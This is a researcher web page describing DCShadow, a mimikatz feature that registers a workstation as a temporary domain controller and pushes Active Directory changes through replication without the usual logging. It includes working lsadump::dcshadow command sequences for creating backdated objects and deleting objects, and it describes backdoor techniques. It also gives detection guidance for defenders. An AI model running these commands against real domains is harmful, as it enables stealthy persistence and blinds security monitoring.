Skip to content
DCShadow logo: they told me I could be anything I wanted, so I became a domain controller

BlueHat IL 2018Black Hat USA 2018MITRE ATT&CK T1207

DCShadow: the rogue domain controller attack

« They told me I could be anything I wanted… so I became a domain controller. »

By Vincent Le Toux (My Smart Logon) and Benjamin Delpy (mimikatz)

Warning: pushing data through replication can break your domain. Test on a lab domain, never in production. (It never happened to us while we developed DCShadow.)

Executive summary

DCShadow is a feature of mimikatz, in the lsadump module. It makes an ordinary workstation behave like a domain controller, with the RPC protocols only domain controllers use, so that it can inject its own data into Active Directory. The change arrives by replication: it bypasses most security controls, including your SIEM.

DCShadow is the reverse of DCSync, also in mimikatz: DCSync pulls secrets from a domain controller, DCShadow pushes changes to it.

Conference talks

BlueHat IL 2018 — first disclosure

Active Directory: what can make your million dollar SIEM go blind? — Vincent Le Toux and Benjamin Delpy, Tel Aviv, January 2018.

Black Hat USA 2018

So I became a domain controller — Las Vegas, August 2018.

Download the slides (PDF, 3 MB)
Vincent Le Toux and Benjamin Delpy presenting DCShadow at Black Hat USA 2018
DCShadow on stage at Black Hat USA 2018.

Previous work

Simulating a domain controller, or editing its database, was already possible:

  • A modified Samba in a virtual machine. A VM needs hardware virtualization, often disabled in the BIOS/UEFI, so it can require physical access. It is also slow and heavy to deploy.
  • DSInternals edits an AD database, but offline. Bringing it back online requires Directory Services Restore Mode.

DCShadow does it online, from a domain-joined workstation, in a few seconds.

How the attack works

  1. Register the rogue DC. Create two objects in the CN=Configuration partition (a server and its nTDSDSA settings) and add the replication SPNs to the computer account.
  2. Push the data. Make a real domain controller pull the changes, with DRSReplicaAdd, the KCC or another internal AD event.
  3. Unregister. Delete the objects created in step 1 to demote the rogue DC.
DCShadow demo: modifying a krbtgt property (1:16)
Validate your data before pushing it

The domain controller rejects malformed data. Here the security descriptor lacks its owner part:

DCShadow error when pushing a security descriptor without an owner

Other examples of invalid data:

DCShadow replication error caused by invalid attribute data
Another DCShadow replication error caused by invalid attribute data

Is DCShadow a vulnerability?

No. It only uses documented protocols:

It is a post-exploitation (domination) technique: it needs Domain Admin or Enterprise Admin rights. Its value is stealthy persistence once the domain is compromised. MITRE ATT&CK tracks it as T1207 – Rogue Domain Controller.

Why it is a game changer

Functionally

  • Plants backdoors: sIDHistory, ntPwdHistory, ACLs…
  • Erases the attacker's traces: replication metadata, schemaInfo…
  • Injects stored XSS into administration reports.

Technically, none of these are logged

  • Any change pushed by replication.
  • Changes only a DC can make, such as sIDHistory or whenChanged.
  • Partial changes, such as the previous password without the new one.
  • Values LDAP would refuse, such as an over-long sAMAccountName.

In short: DCShadow blinds the SIEM monitoring of Active Directory.

Setting sIDHistory on a user with DCShadow
Setting sIDHistory with DCShadow.
Changing the whenChanged attribute with DCShadow
Rewriting whenChanged.

Demos

Create and delete objects

DCShadow can create an object dated in the past, or delete an object at once by making it a lingering object or by changing its class.

privilege::debug
process::runp

lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=instanceType /value=4
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=name /value=DemoTest3
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=displayName /value=DemoTest3
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectCategory /value=CN=Person,CN=Schema,CN=Configuration,DC=bastion,DC=local
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=contact
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=organizationalPerson /multiple
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=person /multiple
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=top  /multiple
// use a new GUID for every call
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectGUID /value={39ab8619-d3fd-410c-b627-64b651043841}
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=whenCreated /value=2006-07-17
// copy an existing SDDL and check that it starts with the owner and group (O:DAG:DA)
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=nTSecurityDescriptor /value:O:DAG:DAD:AI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CIID;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;CIID;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;EA)(A;CIID;LC;;;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIID;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)
lsadump::dcshadow

// main console
lsadump::dcshadow /push

lsadump::dcshadow /viewreplication

// main console
lsadump::dcshadow /kill:CN=DemoTest3,OU=Demo,DC=bastion,DC=local

lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=contact
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=organizationalPerson /multiple
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=person /multiple
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=top  /multiple
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass  /value=dynamicObject  /multiple
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=msDS-Entry-Time-To-Die  /value=2018-08-01
lsadump::dcshadow
// main console
lsadump::dcshadow /push
DCShadow demo: creating and deleting Active Directory objects (3:07)

Change the schema without a trace

A schema change is a powerful backdoor, for example on the security descriptor that protects the LAPS local admin password. A normal schema change updates schemaInfo, which blue teams monitor. DCShadow changes the schema and leaves schemaInfo untouched.

DCShadow demo: modifying the schema without being noticed (1:14)

Forensics: replication metadata can lie

DCShadow pushes replication data, so it also writes the replication metadata. Anyone can read this metadata over LDAP or RPC, even from a trusted domain, and forensic analysts use it to rebuild the history of changes. After DCShadow, that history can no longer be trusted.

Replication metadata rewritten with DCShadow
Replication metadata rewritten by DCShadow.
DCShadow demo: replication metadata alteration (2:39)

How to detect DCShadow

Network

The easiest place. Only domain controllers call DRSUAPI functions such as DsAddEntry or DsReplicaAdd: the same call from any other computer is suspicious.

Network capture of DRSUAPI calls made by DCShadow

Directory changes and logs

  • New server and nTDSDSA objects in the Configuration partition, and changes to the computer account.
  • The SPNs GC/* or E3514235-4B06-11D1-AB04-00C04FC2DCD2/* set on a computer that is not a DC (DCShadow sets them with DsAddEntry).
  • Audit Detailed Directory Service Replication: events 4928 (a replica source naming context was established) and 4929 (it was removed).
  • An LDAP DirSync control (LDAP_SERVER_DIRSYNC_OID) to be notified of every change.
  • A Splunk search by Benjamin Delpy: gist.github.com/gentilkiwi.
Caveat: a DC groups changes before it replicates them (a few minutes), so the registration objects are often visible only on the attacked DC. Reusing a demoted DC, whose objects already exist in the Configuration partition, avoids them entirely.

New attack paths

  • Compromise a trusted domain with sIDHistory and NTLM (previously Kerberos only).
  • « Reverse DCSync »: set the previous hash of krbtgt to a known value.
  • « Remote skeleton key »: set NTLM and AES keys that do not match the same password, to forge Golden and Silver tickets.
  • Backdoors in ACLs.

Internals

From an attribute name to an ATTRTYP

Find the attribute in the schema with the LDAP filter (&(objectClass=attributeSchema)(lDAPDisplayName=<attribute>)). Read its OID from attributeID and its syntax from attributeSyntax. Convert both OIDs with the prefix table, as described in MS-DRSR section 5.16.4, ATTRTYP-to-OID Conversion.

DsAddEntry call made by DCShadow to register the rogue domain controller

Encoding values

The attributeSyntax selects the MS-DRSR encoding of the value.

New object or update?

The DC looks for the attributes a new object must carry: instanceType, objectGUID (in the naming context) and whenCreated. If they are present, it creates the object; otherwise it applies an update. If an update targets an object that does not exist, the DC treats it as a lingering object and logs an event.

Problems and tricks

Adding objects
Set instanceType and whenCreated, and never reuse an objectGUID (the DC logs it as an internal processing error, and duplicate entries are suppressed).
Killing objects
The creation date must be older than the tombstone lifetime (more than 6 months). Symptom otherwise: no RPC connection to the server.

FAQ

DCShadow is a mimikatz feature (lsadump::dcshadow) that registers a computer as a temporary domain controller and pushes changes to Active Directory through the replication protocol, without the usual logs.

No. It only uses the documented MS-ADTS and MS-DRSR protocols. It is a post-exploitation (persistence) technique: it requires Domain Admin or Enterprise Admin rights.

No. The computer is a domain controller only for the few seconds needed to push the changes, then the objects that registered it are removed.

No. It adds a single branch to the replication topology and removes it afterwards. The KCC only sees it if the configuration objects stay for a long time, and even then the topology is not broken.

Watch for replication RPC calls (DRSUAPI DsAddEntry, DsReplicaAdd) coming from computers that are not domain controllers, for new server and nTDSDSA objects in the Configuration partition, for GC/ and E3514235-4B06-11D1-AB04-00C04FC2DCD2/ SPNs added to a computer account, and for events 4928 and 4929.

DCShadow is technique T1207, Rogue Domain Controller, in the Defense Evasion tactic.

Media and references

Need Active Directory security expertise?

The team behind DCShadow works on Active Directory replication, authentication packages and smart card logon every day. We can review your AD hardening, help your SOC detect replication attacks, or build custom Windows security components.

Contact us Our security expertise

On this page

Security Expertise articles

← Back to Security Expertise